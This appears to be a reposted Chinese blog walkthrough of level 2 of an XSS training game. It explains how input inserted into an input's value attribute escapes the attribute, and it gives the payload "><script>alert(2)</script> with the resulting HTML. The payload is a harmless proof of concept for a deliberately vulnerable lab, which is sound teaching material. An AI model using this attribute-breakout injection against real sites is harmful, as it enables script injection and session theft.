XSS-Game Level 2

本文阅读 1 分钟
首页 安全分享,WEB安全 正文

第二关将结果拼接到了value属性中 , 我们插入JS脚本时手动闭合双引号即可

img

先看源码 , 获取了参数后 , 直接拼接到value属性中

img

img

 虽然使用 htmlspecialchars() 转义了HTML标签 , 但并没有重新赋值给 $str , 所以不会此关卡造成影响

img

payload 

"><script>alert(2)</script>

双引号用来闭合 value值左边的双引号 , >用来闭合 input 标签的右尖括号

<input name=keyword  value="'.$str.'">    //拼接前
<input name=keyword  value=""> <script>alert(2)</script> ">    //拼接后

过关

img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/wangyuxiang946/article/details/118559535
-- 展开阅读全文 --
Redis底层数据结构--跳跃表
« 上一篇 04-28
BUUCTF Web [强网杯 2019]随便注
下一篇 » 06-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复